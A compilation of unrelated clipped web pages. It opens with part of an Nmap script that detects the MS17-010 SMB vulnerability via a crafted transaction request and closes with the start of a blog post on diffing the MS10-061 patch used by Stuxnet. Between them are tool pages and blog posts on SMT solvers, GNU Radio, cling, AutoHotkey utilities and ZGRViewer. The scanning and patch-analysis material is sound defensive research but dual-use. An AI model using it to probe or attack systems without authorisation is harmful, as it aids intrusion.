45 | \-- @xmloutput  
46 | \-- <table key="CVE-2017-0143">  
47 | \-- <elem key="title">Remote Code Execution vulnerability in Microsoft SMBv1 servers \(ms17-010\)</elem>  
48 | \-- <elem key="state">VULNERABLE</elem>  
49 | \-- <table key="ids">  
50 | \-- <elem>CVE:CVE-2017-0143</elem>  
51 | \-- </table>  
52 | \-- <table key="description">  
53 | \-- <elem>A critical remote code execution vulnerability exists in Microsoft SMBv1&\#xa; servers \(ms17-010\).&\#xa;</elem>  
54 | \-- </table>  
55 | \-- <table key="dates">  
56 | \-- <table key="disclosure">  
57 | \-- <elem key="month">03</elem>  
58 | \-- <elem key="year">2017</elem>  
59 | \-- <elem key="day">14</elem>  
60 | \-- </table>  
61 | \-- </table>  
62 | \-- <elem key="disclosure">2017-03-14</elem>  
63 | \-- <table key="refs">  
64 | \-- <elem>https://technet.microsoft.com/en-us/library/security/ms17-010.aspx</elem>  
65 | \-- <elem>https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-0143</elem>  
66 | \-- <elem>https://blogs.technet.microsoft.com/msrc/2017/05/12/customer-guidance-for-wannacrypt-attacks/</elem>  
67 | \-- </table>  
68 | \-- </table>  
69 | \---  
70 |   
71 | author = "Paulino Calderon <paulino\(\)calderonpale.com>"  
72 | license = "Same as Nmap--See https://nmap.org/book/man-legal.html"  
73 | categories = \{"vuln", "safe"\}  
74 |   
75 | hostrule = function\(host\)  
76 |  return smb.get\_port\(host\) ~= nil  
77 | end  
78 |   
79 | local function check\_ms17010\(host, port, sharename\)  
80 |  local status, smbstate = smb.start\_ex\(host, true, true, sharename, nil, nil, nil\)  
81 |  if not status then  
82 |  stdnse.debug1\("Could not connect to '%s'", sharename\)  
83 |  return false, string.format\("Could not connect to '%s'", sharename\)  
84 |  else  
85 |  local overrides = \{\}  
86 |  local smb\_header, smb\_params, smb\_cmd  
87 |   
88 |  stdnse.debug1\("Connected to share '%s'", sharename\)  
89 |   
90 |  overrides\['parameters\_length'\] = 0x10  
91 |   
92 |  \--SMB\_COM\_TRANSACTION opcode is 0x25  
93 |  smb\_header = smb.smb\_encode\_header\(smbstate, 0x25, overrides\)  
94 |  smb\_params = string.pack\(">I2 I2 I2 I2 B B I2 I4 I2 I2 I2 I2 I2 B B I2 I2 I2 I2 I2 I2",  
95 |  0x0, \-- Total Parameter count \(2 bytes\)  
96 |  0x0, \-- Total Data count \(2 bytes\)  
97 |  0xFFFF, \-- Max Parameter count \(2 bytes\)  
98 |  0xFFFF, \-- Max Data count \(2 bytes\)  
99 |  0x0, \-- Max setup Count \(1 byte\)  
100 |  0x0, \-- Reserved \(1 byte\)  
101 |  0x0, \--Flags \(2 bytes\)  
102 |  0x0, \--Timeout \(4 bytes\)  
103 |  0x0, \--Reserved \(2 bytes\)  
104 |  0x0, \--ParameterCount \(2 bytes\)  
105 |  0x4a00, \--ParameterOffset \(2 bytes\)  
106 |  0x0, \--DataCount \(2 bytes\)  
107 |  0x4a00, \-- DataOffset \(2 bytes\)  
108 |  0x02, \-- SetupCount \(1 byte\)  
109 |  0x0, \-- Reserved \(1 byte\)  
110 |  0x2300, \-- PeekNamedPipe opcode  
111 |  0x0, \--  
112 |  0x0700, \--BCC \(Length of "\PIPE\"\)  
113 |  0x5c50, \--\P  
114 |  0x4950, \--IP   
115 |  0x455c \--E\  
116 |  \)  
117 |  stdnse.debug2\("SMB: Sending SMB\_COM\_TRANSACTION"\)  
118 |  result, err = smb.smb\_send\(smbstate, smb\_header, smb\_params, '', overrides\)  
119 |  if\(result == false\) then  
120 |  stdnse.debug1\("There was an error in the SMB\_COM\_TRANSACTION request"\)  
121 |  return false, err  
122 |  end  
123 |   
124 |  result, smb\_header, \_, \_ = smb.smb\_read\(smbstate\)  
125 |  \_ , smb\_cmd, err = string.unpack\("<c4 B I4", smb\_header\)  
126 |  if smb\_cmd == 37 then \-- SMB command for Trans is 0x25  
127 |  stdnse.debug1\("Valid SMB\_COM\_TRANSACTION response received"\)  
128 |   
129 |  \--STATUS\_INSUFF\_SERVER\_RESOURCES indicate that the machine is not patched  
130 |  if err == 0xc0000205 then  
131 |  stdnse.debug1\("STATUS\_INSUFF\_SERVER\_RESOURCES response received"\)  
132 |  return true  
133 |  end  
134 |  else  
135 |  stdnse.debug1\("Received invalid command id."\)  
136 |  return false, err  
137 |  end  
138 |  end  
139 | end  
140 |   
141 | action = function\(host,port\)  
142 |  local vuln\_status, err  
143 |  local vuln = \{  
144 |  title = "Remote Code Execution vulnerability in Microsoft SMBv1 servers \(ms17-010\)",  
145 |  IDS = \{CVE = 'CVE-2017-0143'\},  
146 |  risk\_factor = "HIGH",  
147 |  description = \[\[  
148 | A critical remote code execution vulnerability exists in Microsoft SMBv1  
149 |  servers \(ms17-010\).  
150 | \]\],  
151 |  references = \{  
152 |  'https://technet.microsoft.com/en-us/library/security/ms17-010.aspx',  
153 |  'https://blogs.technet.microsoft.com/msrc/2017/05/12/customer-guidance-for-wannacrypt-attacks/'  
154 |  \},  
155 |  dates = \{  
156 |  disclosure = \{year = '2017', month = '03', day = '14'\},  
157 |  \}  
158 |  \}  
159 |  local sharename = stdnse.get\_script\_args\(SCRIPT\_NAME .. ".sharename"\) or "IPC$"  
160 |  local report = vulns.Report:new\(SCRIPT\_NAME, host, port\)  
161 |  vuln.state = vulns.STATE.NOT\_VULN  
162 |   
163 |  vuln\_status, err = check\_ms17010\(host, port, sharename\)  
164 |  if vuln\_status then  
165 |  stdnse.debug1\("This host is missing the patch for ms17-010\!"\)  
166 |  vuln.state = vulns.STATE.VULN  
167 |  else  
168 |  if nmap.verbosity\(\) >=1 then  
169 |  return err  
170 |  end  
171 |  end  
172 |  return report:make\_output\(vuln\)  
173 | end  
  

# SMT Solvers for Software Security \(USENIX WOOT’12\) « Sean Heelan's Blog

**Created:**| _7/29/2012 2:19:49 PM_  
---|---  
**Updated:**| _7/29/2012 2:19:49 PM_  
**Author:**| __  
**Tags:**| _Practical Software Verification software testing SMT_  
  

## SMT Solvers for Software Security \(USENIX WOOT’12\)

July 27, 2012 by seanhn

At WOOT’12 a paper co-written by Julien Vanegue, Rolf Rolles and I will be
presented under the title “SMT Solvers for Sofware Security”. An up-to-date
version can be found in the Articles/Presentation section of this site.

In short, the message of this paper is _“SMT solvers are well capable of
handling decision problems from security properties. However, specific problem
domains usually require domain specific modeling approaches. Important
limitations, challenges, and research opportunities remain in developing
appropriate models for the three areas we discuss – vulnerability discovery,
exploit development, and bypassing of copy protection”_. The motivation for
writing this paper is to discuss these limitations, why they exist, and
hopefully encourage more work on the modeling and constraint generation sides
of these problems.

A quick review of the publication lists from major academic conferences
focused on software security will show a massive number of papers discussing
solutions based on SMT technology. There is good reason for this 1\) SMT-
backed approaches such as symbolic/concolic execution have proved powerful
tools on certain problems and 2\) There are an increasing number of freely
available frameworks.

The primary domain where SMT solvers have shone, in my opinion, is in the
discovery of bugs related to unsafe integer arithmetic using symbolic/concolic
execution. There’s a fairly obvious reason why this is the case; the
quantifier free, fixed size, bitvector logic supported by SMT solvers provides
direct support for the precise representation of arithmetic at the assembly
level. In other words, one does not have to do an excessive amount of work
when modeling the semantics of a program to produce a representation suitable
for the detection of unsafe arithmetic. It suffices to perform a near direct
translation from the executed instructions to the primitives provided by SMT
solvers.

The exploit generation part of the paper deals with what happens when one
takes the technology for solving the above problem and applies it to a new
problem domain. In particular, a new domain in which the model produced simply
by tracking transformations and constraints on input data no longer contains
enough data to inform a solution. For example, in the case of exploit
generation, models that do not account for things like the relationship
between user input and memory layout. Obviously enough, when reasoning about a
formula produced from such a model a solver cannot account for information not
present. Thus, no amount of computational capacity or solver improvement can
produce an effective solution.

SMT solvers are powerful tools and symbolic/concolic execution can be an
effective technique. However, one thing I’ve learned over the past few years
is that they don’t remove the obligation and effort required to accurately
model the problem you’re trying to solve. You can throw generic symbolic
execution frameworks at a problem but if you’re interested in anything more
complex than low level arithmetic relationships you’ve got work to do\!

# GNUradio tools for packet-switched transmission - EEL6935 Wiki

**Created:**| _5/28/2012 8:23:55 PM_  
---|---  
**Updated:**| _5/28/2012 8:23:55 PM_  
**Author:**| __  
**Tags:**| _Gnuradio_  
  

# GNUradio tools for packet-switched transmission

## Contents

  * 1 Packet-switching in GNUradio
  * 2 Message and message queue classes
    * 2.1 Message
    * 2.2 Message queue
  * 3 Transmit side operations
  * 4 Receive side operations

  
---  
###  Packet-switching in GNUradio

  * In packet-switched transmission, packets of data arrive asynchronously from the data source on the transmit side and from the USRP on the receive side. 
  * In order to accommodate the asynchronous nature of packet-switched transmission in the signal flow graph operation of GNUradio: 
    1. Special source and sink blocks that contain buffers to hold packets are needed. 
    2. Provisions for inserting packets into and extracting packets from the buffers in the source and sink blocks are needed. 
    3. The flow graph needs to be halted when the buffers are empty, and packets may need to be discarded when the buffers are full. 

###  Message and message queue classes

  * The GNUradio `gr_message` and `gr_msq_queue` classes provide the underlying buffering support for packet-switched source and sink blocks. 

####  Message

  * A _message_ is a `gr_message` class object, which is constructed by providing the `type` \(`0`=data, `1`=EOF\), 2 optional arguments \(`arg1` and `arg2`\), and `length` of the message. 
  * The following methods are provided to set the contents and access the various parameters of a message object: 
    * `gr_make_message_from_string (const std::string s, long type, double arg1, double arg2)`
    * `to_string()`: returns the message string 
    * `set_type(long type)` and `type()`
    * `set_arg1(long arg1)` and `arg1()`
    * `set_arg2(long arg1)` and `arg2()`
    * `length()`
    * `msq()`: returns a pointer to the message string 

####  Message queue

  * A _message queue_ is a `gr_msg_queue` class object, which is a linked list of message objects. The maximum length `limit` of a message queue is set when constructing the queue. 
  * Thread synchronizing access to a message queue is provided by the following two methods: 
    * `insert_tail(gr_message_sptr msg)`: inserts the message `msq` into the tail of the queue if queue is not full; otherwise waits until some messages are removed from the queue by other threads. 
    * `delete_head()`: greps a message from the head of the queue if queue is not empty; otherwise waits until some messages are inserted into the queue by other threads. 
  * Other methods \(no thread synchronization\) are also provided to manage a message queue: 
    * `flush()`: deletes all messages from the queue 
    * `empty_p()`: is the queue empty? 
    * `full_p()`: is the queue full? 
    * `count()`: returns number of messages in queue 
    * `limit()`: returns the maximum queue length 

###  Transmit side operations

  * Use the GNUradio message source block `gr_message_source` to create a new message queue \(or use an existing queue\). 
  * The message source block extracts messages from the queue to provide a character stream to the next block in the signal flow graph until it encounters an EOF message \(`type`=-1\). It waits \(halts the output character stream\) when the queue is empty. 
  * The message source block provides the method `msgq()` to expose the message queue. Users can employ the `insert_tail()` method of exposed message queue to add packets to the queue asynchronously. 
  * The set of python programs starting at the top level with `benchmark_tx.py` in the directory `$GR_INSTALL/share/gnuradio/examples/digital` illustrates how to perform packet-switched transmission using the message source block. 

###  Receive side operations

  * On the receive side, since the packet arrival process is not known in advance, one must search for packets from the received signal samples obtained from the USRP. This means: 
    * One must continuously perform carrier sensing, carrier synchronization, symbol synchronization, and demodulation \(assuming high SNR\), and then acquisition to extract packets from the USRP signal samples. 
    * The packet extraction function may be performed in a GNUradio sink block, which should also insert the extracted packets to a message queue. An example of such a sink block is the GNUradio block `gr_framer_sink_1`. 
    * A separate process is needed to monitor the message queue. The process should initiate a `callback` when a packet is inserted into the queue by the sink block. This can be achieved by using the thread-synchronizing message queue access method `delete_head()` in the monitoring process. 
  * The set of python programs starting at the top level with `benchmark_rx.py` in the directory `$GR_INSTALL/share/gnuradio/examples/digital` illustrates how to perform packet-switched reception using the framer sink block `gr_framer_sink_1` and the message queue class. 

# On-The-Fly C++ | conflating
**Created:**| _8/13/2012 7:50:51 AM_  
---|---  
**Updated:**| _8/13/2012 7:50:51 AM_  
**Author:**| __  
**Tags:**| _C++ llvm C++11_  
  

# On-The-Fly C++

<img src='img/flying.jpg' />

I can’t recall how many times I had to write a basic small C or C++ program
just to play around with an idea, the syntax of C++11 or anything similar.
Very often indeed. Even though a good editor makes this very easy, it’s kind
of a burden to have to create a project directory, a source file, spell out
the same old includes and the main function before you actually can start the
task you where about to try.  
  
Then you compile and link, probably missing some libraries the first time
until you **finally** get to take it on a first test run.

### Building Cling

You gotta checkout llvm and clang from svn \(do **not** use the git mirror\!
The makefile for cling uses the svn information\!\). Next checkout cling from
svn into the tools folder and apply all the patches in the cling/patches
directory and start your _configure - make - make install_ cycle the same way
you’d do for llvm and clang alone. Don’t forget to include the –enable-
targets=host when running configure.

So why put up with all of this when the next ruby or python or haskell
interpreter is just a couple of keystrokes away: type `irb` or `ghci` and of
you go. No includes, no compile, no linker. Just get to the meat of your idea
and start experimenting. Still, would be nice to have this for C++ as well.  
  
Yesterday I discovered something truly awesome: cling, an interactive
interpreter for the C++ language based on clang/llvm.  
  
Kind of a pain to get it set up correctly \(they do not yet provide binaries
for download\) but once it’s done the fun can begin.

## Enter the C++ interpreter: cling

Now that cling is build we can run it. Best to call it with C++11 support
enabled so all of the C++11 features that clang provides should also work in
cling:

[code]

    $ cling  -Wc++11-extensions -std=c++11
    
    ****************** CLING ******************
    * Type C++ code and press enter to run it *
    *             Type .q to exit             *
    *******************************************
    [cling]$ 
    
[/code]

Ready for a test run:

[code]

    [cling]$ #include <iostream>
    [cling]$ using namespace std;
    [cling]$ int a[] = {1,2,3};
    [cling]$ for (int& x: a){ x += 10; }
    [cling]$ for (int& x: a){ cout << x << ","; }
    11,12,13,
    
[/code]

Doing calculations in C can yield some surprising results if the types are not
correct. Checking small stuff in an interpreter can really help\!  
  
Same thing for bit fiddling…always nice to see how it will play out.

[code]

    [cling]$ float r = 7/9;
    [cling]$ r
    (float) 0.000000e+00
    [cling]$ r = (float)7/9;
    [cling]$ r
    (float) 7.777778e-01
    [cling]$ (0b1 << 5) | 0x1
    (int const) 33
    
[/code]

Let’s use cling for more complicated math stuff. So we include the math header
file:

[code]

    [cling]$ #include <math>
    input_line_36:1:10: fatal error: 'math' file not found
    #include <math>
          ^
    
[/code]

Uuh…header file not found…at least the error message is nice.

[code]

    [cling]$ #include <cmath>
    [cling]$ cos(7)
    (double const) 7.539023e-01
    
[/code]

Ok…that works nicely. What about using some C++11 features? Let’s try a
lambda:

[code]

    [cling]$ #include <iostream>
    [cling]$ using namespace std;
    [cling]$ auto func = [] () { cout << "Hello world" << endl; };
    [cling]$ func
    (class 
    
[/code]

\) @0x7f7ad79b1021 \[cling\]$ func\(\) Hello world

Wow\! Really impressive. Not only can you try out regular C++ bits and pieces,
you can also fool around with C++11 features\!  
  
It’s even possible to load and access system libraries using the `.L` load
instruction. Here is a brief example of how to load the libpthread and call
one of it’s functions \(`pthread_self`\) to retrieve the ID of the calling
thread:

[code]

    [cling]$ .L libpthread
    [cling]$ #include <pthread.h>
    [cling]$ pthread_self()
    (pthread_t const) 0x7fff7da43180
    
[/code]

## Summary of Metaprocessor commands

Cling understands some meta-commands that are not valid C++. Those commands
are usefull to instruct cling to carry out certain administrative tasks, such
as

  * `.x test.cpp` – load a file \(if the file defines void test\(\) it will be executed\)
  * `.L libname` – load a libary or file
  * `.x filename.cxx` – loads filename and calls void filename\(\) if defined
  * `.I path` – adds an include path
  * `.printAST` – shows the abstract syntax tree after each processed entity
  * `.q` – exit cling
  * `.help` – display a brief description

## Worth a try

I’d say cling is definitely worth the try. It’s not perfect but can be a real
timesaver when fooling around with C or C++ code. Especially for little bits
and pieces you want to try out while working on a C/C++ codebase, it’s much
less distracting to fire up a cling interpreter than to setup an example
project.

## Limitations

While using cling I discovered several things that were not perfect yet:

  * templates seem not to be supported
  * the **auto** keyword does not seem to be implicit on declarations like: `i=5;`
  * sometimes cling will segfault on small syntax errors and all current environment is lost

[code]

    [cling]$ std:string s("hi");
    input_line_7:2:6: error: unknown type name 'string'; did you mean 'std::string'?
     std:string s("hi");
         ^~~~~~
         std::string
    /usr/include/c++/4.2.1/bits/stringfwd.h:59:33: note: 'std::string' declared here
      typedef basic_string
    
[/code]

string; ^ Segmentation fault: 11

## Further Information

Some interesting links people provided on hacker news

  * kind of an interactive C compiler
  * TCC, the _tiny_ C compiler
  * google tech talk about cling
  * for fooling around: coderunner

# Links to JGPaiva's AutoHotkey Coding Snacks - DonationCoder.com

**Created:**| _11/6/2010 5:36:38 PM_  
---|---  
**Updated:**| _11/6/2010 5:38:51 PM_  
**Author:**| __  
**Tags:**| _bookmark programming windows environment awesome_  
  
| | Links to JGPaiva's AutoHotkey Coding Snacks« **on:** May 03, 2006, 01:01:02 AM »|   
---|---|---  
* * *
Some of JGPaiva's Tools with links to view info and download, collected from
various posts on the Coding Snacks section.  
  
All these Coding Snacks were made with AutoHotkey. You can use the executable,
or download AutoHotkey and run the code itself through it.  
  

* * *
DialogMove v2.0 updated 24-04-10:  

Quote

moves windows smaler than a given size to a place closer to the mouse
position.

\[Forum Topic\] \[.ahk Version\] \[.exe version\] \[About Box\]  
  

* * *
KillProcesses v1.2 modified 02-01-08:  

Quote

kill a list of processes when the computer shuts down

\[Forum Topic\] \[.ahk Version\] \[.exe version\]  
  

* * *
RunOnUnhibernation v1.0 created 17-09-07:  

Quote

Run the program passed as argument on cumputer unhibernation

\[Forum Topic\] \[.ahk Version\] \[.exe version\]  
  

* * *
LockWorkstation v1.02 updated 03-01-07:  

Quote

Locks the Workstation after a predifined amount of time

\[Forum Topic\] \[.ahk Version\] \[.exe version\] \[About Box\]  
  

* * *
GridMove -SEE WEBSITE-:  

Quote

Adjusts windows to a predefined or user-defined desktop grid.  

\[Website\]\[Forum Topic\]\[.zip Version\]\[.exe Version\]  
  

* * *
RescueOrphans v1.01 updated 04-10-2006:  

Quote

Retrieves single files lost in deep directories.  

\[Forum Topic\]\[.ahk Version\]\[.exe Version\]  
  

* * *
TransparentMove v1 created 30-09-2006:  

Quote

When the user presses ctrl and drags the window, it becomes trasnparent and is
moved.  

\[Forum Topic\]\[.ahk Version\]\[.exe Version\]  
  

* * *
Touch v1 created 30-09-2006:  

Quote

Similar to unix's "touch", sets the modified time of files to the current
time.  

\[Forum Topic\]\[.ahk Version\]\[.exe Version\]  
  

* * *
MultipleSend v1.0 created 29-07-2006:  

Quote

Send the same text to several windows at the same time  

\[Forum Topic\]\[.ahk Version\]\[.exe Version\]  
  

* * *
KeyInfo v1.01 updated 1-06-2006:  

Quote

Gives information about the state of the keyboard keys \(caps, num and scroll
lock\) in the systray  

\[Forum Topic\]\[.ahk Version\]\[.exe Version\]\[**necessary** icons\]  
Notice: the icon pack is necessary, please extract them to the same directory
KeyInfo is located. For more icon packs, check the forum thread\!\! Thanks
prosayist for the great icons\!  <img src='img/Thmbsup.gif' alt='Thmbsup' />  
  

* * *
ToolTipPrompt v1 updated 05-06-2006:  

Quote

Creates tooltips based on a user-defined plain text file \(aimed at tech
support\)  

\[Forum Topic\]\[.ahk Version\]\[.exe Version\]  
  

* * *
HotStringsScriptCreator v3.1 updated 18-05-2006:  
\[Forum Topic\]\[.ahk Version\]\[.exe Version\]\[Screenshot\]  
  

* * *
Shutdown v1.0 updated 05-05-06:  

Quote

menu for shuting down the system from the tray.

\[Forum Topic\] \[.ahk Version\] \[.exe version\]  
  

* * *
ftpuploader:  
http://www.donationcoder....bb/index.php?topic=3051.0  
http://donationcoders.com...pUploader/FtpUploader.ahk  
http://donationcoders.com...pUploader/FtpUploader.exe  
http://donationcoders.com...der/FtpUploaderReadme.txt  
  

* * *
  
MultimediaMouse:  
http://www.donationcoder....bb/index.php?topic=2869.0  
http://donationcoders.com...Mouse/MultimediaMouse.ahk  
http://donationcoders.com...Mouse/MultimediaMouse.exe  
  
StopMouse:  
http://www.donationcoder....bb/index.php?topic=3108.0  
http://donationcoders.com...S/StopMouse/StopMouse.ahk  
http://donationcoders.com...S/StopMouse/StopMouse.exe  
  
ConnectionTester:  
http://www.donationcoder....bb/index.php?topic=2999.0  
http://jgpaiva.donationco...ster/ConnectionTester.ahk  
http://jgpaiva.donationco...ster/ConnectionTester.exe  
  
ProcessKiller:  
http://www.donationcoder....bb/index.php?topic=3413.0  
http://jgpaiva.donationco...sKiller/ProcessKiller.exe  
http://jgpaiva.donationco...sKiller/ProcessKiller.ahk  
  
Eject\!:  
http://www.donationcoder....bb/index.php?topic=2648.0  
http://jgpaiva.donationco...rs.com/CS/Eject/Eject.exe  
http://jgpaiva.donationco...rs.com/CS/eject/Eject.ahk  
  
FarrTransparent:  
http://www.donationcoder....bb/index.php?topic=2297.0  
http://jgpaiva.donationco...arent/FarrTransparent.ahk  
http://jgpaiva.donationco...arent/FarrTransparent.exe  
  
RandomLine:  
http://www.donationcoder....bb/index.php?topic=2514.0  
http://jgpaiva.donationco...RandomLine/RandomLine.exe  
http://jgpaiva.donationco...RandomLine/RandomLine.ahk  
  
RepeatedEntries:  
http://www.donationcoder....bb/index.php?topic=2678.0  
http://jgpaiva.donationco...tries/RepeatedEntries.ahk  
http://jgpaiva.donationco...tries/RepeatedEntries.exe  
  
StabilityMonitor:  
http://www.donationcoder....bb/index.php?topic=2291.0  
http://jgpaiva.donationco...itor/StabilityMonitor.exe  
http://jgpaiva.donationco...itor/StabilityMonitor.ahk

# claribole.net - ZGRViewer

**Created:**| _1/14/2010 1:02:39 PM_  
---|---  
**Updated:**| _1/14/2010 1:02:54 PM_  
**Author:**| __  
**Tags:**| _bookmark visualization_  
  

Skip navigation

  * ZVTM
  * ZGRViewer
  * AJaPaD
  * ZUIST

# ZGRViewer, a GraphViz/DOT Viewer

ZGRViewer

  * Homepage
  * News
  * Download
  * Videos
  * Citing ZGRViewer
  * Plugins
  * Installation
  * SF.net Project Homepage
  * Contact

**Latest News**

  * 2009-09-22: New in SVN/0.9.0-SNAPSHOT
  * 2009-05-19: ZVTM and ZGRViewer to be demonstrated at JavaOne in San Francisco
  * 2009-04-07: ZGRViewer 0.8.2 released

## Current Version

Stable: 0.8.2 \(April 2009\)

Development: 0.9.0-SNAPSHOT through SVN only \(November 2009\)

## What is ZGRViewer?

ZGRViewer is a graph visualizer implemented in Java and based upon the
Zoomable Visual Transformation Machine. It is specifically aimed at displaying
graphs expressed using the DOT language from AT&T GraphViz and processed by
programs **dot** , **neato** or others such as **twopi**.

ZGRViewer is designed to handle large graphs, and offers a zoomable user
interface \(ZUI\), which enables smooth zooming and easy navigation in the
visualized structure.

ZGRViewer should be able to load any file that uses the DOT language to
describe the graph.

### Some features that help navigate large graphs

<img src='img/Temp2_10135.png' width='300' height='225' alt='zgrviewer
screenshot: overview+detail in action' />| <img src='img/Temp2_10134.png'
width='300' height='225' alt='zgrviewer screenshot: sigma lens in action' />|
<img src='img/Temp2_10136.png' width='300' height='225' alt='zgrviewer
screenshot: fisheye lens in action' />  
---|---|---  
Overview + detail| Focus+context magnification with Sigma Lenses| Graphical
fisheye focus+context distortion  
<img src='img/Temp2_10132.png' width='300' height='225' alt='zgrviewer
screenshot: link sliding in action' />| <img src='img/Temp2_10139.png'
width='300' height='225' alt='zgrviewer screenshot: bring and go in action' />  
Navigation along graph edges with Link Sliding| Navigation from node to node
with Bring & Go  
## Applet

An applet version of ZGRViewer is available since release 0.7.0. A custom
version is also used to show SVG graphs generated by GraphViz/dot in the W3C
RDF Validation Service.

<img src='img/Temp2_10130.png' alt='zgrapplet screenshot' />| <img
src='img/Temp2_10133.png' alt='rdf validator result page screenshot (IsaViz
plug-in)' />  
---|---  
* * *
## Important

ZGRViewer requires a recent Java Virtual Machine to run ; this means Java 1.4
or later for v0.8.2, and Java 1.5 or later for v0.9.0. See section
Installation for more details.

* * *
## How does ZGRViewer work?

ZGRViewer relies on GraphViz/dot, GraphViz/neato or other programs of the
GraphViz suite to compute an SVG \(Scalable Vector Graphics\) file containing
a graphical representation of the graph from its DOT \(abstract\)
representation.

**IMPORTANT:** This means that GraphViz has to be installed on your computer
and setup correctly in order for ZGRViewer to run. In addition to setting up
these paths in the Preferences window of ZGRViewer, you also have to set a
temp directory where the temporary SVG files will be put by dot/neato. See
section Installation for more details.

The SVG file generated by GraphViz programs is then parsed by the ZVTM's SVG
import module and displayed to the user.

* * *
## Download

#### Current Version

Stable: 0.8.2 \(April 2009\)

Development: 0.9.0-SNAPSHOT through SVN only \(April 2009\)

ZGRViewer is available for download on the sourceforge.net site:
http://sourceforge.net/projects/zvtm/ \(choose package **zgrviewer**\).

The ZGRViewer package is standalone and includes all necessary JAR files,
including the ZVTM. Other packages available on this page are not required to
run ZGRViewer.

### SVN repository \(source code\)

You can also retrieve the source code from the ZVTM SVN repository.
Instructions for accessing this SVN repository and for getting an SVN client
are available.

As mentioned in those instructions, the following command will checkout all
modules, tags and/or branches of the ZVTM project.

svn co https://zvtm.svn.sourceforge.net/svnroot/zvtm zvtm

If you are only interested in ZGRViewer's source code, use the following
command:

svn co https://zvtm.svn.sourceforge.net/svnroot/zvtm/zgrviewer/trunk zgrviewer

* * *
## News

News have been moved to a dedicated page.

* * *
## Installation

### Requirements

  * a recent Java Virtual Machine \(v1.4.0 or later, Java 1.5 or 1.6 recommended or even required if using ZGRViewer 0.9.0 or later\):
    * SUN's JVM can be downloaded at http://java.sun.com/.
  * a recent platform-specific GraphViz installation:
    * In theory, ZGRViewer should work with versions as old as 1.7.6, but 2.x versions are recommended.
    * GraphViz is available for a wide range of platforms \(Win32, Linux, MacOS X, Solaris, etc.\). Recent builds of GraphViz for Mac OS X can also be found on Ryan Schmidt's website.

### Setup

  * Unzip _zgrviewer-x\_x\_x.zip_ anywhere
  * Use one of the provided launch scripts \(run.bat or run.sh\) to launch ZGRViewer. Note: you might want to edit these scripts to point to a specific Java Virtual Machine ; right now, it just says _java_ and therefore uses the first JVM it finds in your PATH.
  * Go to Edit/Preferences:
<img src='img/Temp2_10137.png' width='402' height='362' alt='zgrviewer
preferences' />

    * set a Temp directory where SVG files will be generated \(check the box if you want them automatically destroyed\)
    * set the path to the dot executable file
    * set the path to the neato executable file
    * set the path to font directory\(-ies\) _\[optional\]_
    * click the Save button if you want to store your preferences \(this will generate a file named zgrviewer.cfg in your home dir\)
  * You can specify some command line flags in the Misc. tab of the Preferences window - note that the '-T' flag is ignored.

### Build from source code

Build instructions are available.

* * *
## Bug reports, questions, comments

See ZVTM Contact Information.

* * *
## Credits

Work on ZGRViewer started at MITCSAIL while developing W3C's IsaViz. It is now
continuing at INRIA, project-team In Situ.

### Contributors

  * Emmanuel Pietriga
  * Darren Davison
  * Rodrigo Fonseca
  * David J. Hamilton
  * Roger John
  * Henrik Lindberg
  * Eric Mounhem
  * Tomer Moscovich
  * Shu Ning Bian
  * Alex Poylisher
  * Boris Trofimov

ZGRViewer is based upon the Zoomable Visual Transformation Machine.

It also includes software developed by The Apache Software Foundation \(Xerces
Java 2\), Terence Parr \(ANTLR\), and makes use of the GraphViz library
developed by AT&T Research.

Hosted by <img src='img/Temp2_10128.png' width='120' height='30' alt='Get
Zoomable Visual Transformation Machine at SourceForge.net. Fast, secure and
Free Open Source software downloads' />

<img src='img/Temp2_10131.png' width='230' height='40' alt='INRIA Futurs' />

<img src='img/Temp2_10129.png' width='88' height='31' alt='Valid XHTML 1.1!'
/>

<img src='img/Temp2_10138.png' width='88' height='31' alt='Valid CSS!' />

Emmanuel Pietriga  
Thu Nov 12 16:37:24 CET 2009

# securitymetrics.org: Mailing List

**Created:**| _3/10/2010 3:40:36 PM_  
---|---  
**Updated:**| _3/10/2010 3:40:50 PM_  
**Author:**| __  
**Tags:**| _bookmark report statistics Metrics_  
  

Mailing List

Securitymetrics.org offers a members-only mailing list. Applications to join
the mailing list are vetted by David Mortman. Andrew Jaquith still moderates
the list, but is not longer the list-vetter.

#### Privacy

The goal for the `securitymetrics` list is to provide a forum for ideas and
innovation in the area of security measurement. We take the privacy of our
members seriously. There are no public archives of securitymetrics.org, and
the list of members is known only to the website owner \(Andrew\) and list
manager \(David\). That's no guarantee of privacy, of course, but it does mean
that what people say on the list, stays on the list.

#### Vetting Process

Oh, and one more thing. We screen everyone asking to join the list so we can
have some assurance that prospective members are real people, are not
obviously in the employ of spammers, and have demonstrated a minimum level of
interest in security. The primary research tool for vetting identities is the
same as Johnny Long's: Google. If we can't figure out who you are, you'll get
a message asking you for more details.

Don't let the vetting dishearten you: if you've been intrepid enough to make
it to this web page, you're probably our sort of person to begin with. If you
are still undaunted, here's the magic link<img src='img/Temp2_10620.png' />
that will shoot a request e-mail to us.

_Note: if you want to speed up the process a bit, shoot me an e-mail to
David's address, `mortman` at`gmail` dot `com`. **We strongly prefer that you
use a work address because we have a better chance of verifying that you
exist, or at the very least, your employer does.** Referrals from current
members help, too._

**Note about anonymous e-mail accounts: I do not have time to chase down
random e-mail addresses like Glenn <ve6rsx@gmail.com>. People who insist on
using obscure account names are strongly encouraged to send an e-mail, with a
referral and an explanation of your interest. Sorry...**

# thatsBroken

**Created:**| _9/16/2010 9:48:57 AM_  
---|---  
**Updated:**| _9/16/2010 9:49:27 AM_  
**Author:**| __  
**Tags:**| _bookmark research reversing awesome_  
  

<img src='img/Temp2_10663.png' alt='Blog Icon' />

# thatsBroken

Breaking things that go beep since 1996

* * *
### MS10-061 – spoolsv.exe – StartDocPrinter\(x,x,x,x\)

14 Sep 2010 @ 2:29 PM

**UPDATE : Video uploaded.**

In this video I show the viewer how to \(1\) Identify the changed
function\(s\) \(2\) Set breakpoints on changed functions \(3\) Start to trace
user input \(4\) Identify user data.

Reverse Engineering MS10-061 Patch. Finding Changed Code, Triggering
Breakpoints on Changed code from jeremy Richards on Vimeo.

\(NOTE: Video is wide-screen and I don’t recommend viewing it unless you can
take it full screen 1920×1080\)

MS10-061 was released a few minutes ago and I thought I’d try a live-blogging
of my analysis of the patch. This is one of the 0day exploits being used in
the wild by stuxnet. There is a post about how the exploit was used here but I
thought it would be more fun to diff the two binaries and find the changed
code.

First I created two Windows XP virtual machines \(actually I have a pre-patch
machine that I clone and patch but same deal\) and I grab the pre and post
patch binaries. This is pretty simple. The patch includes one binary
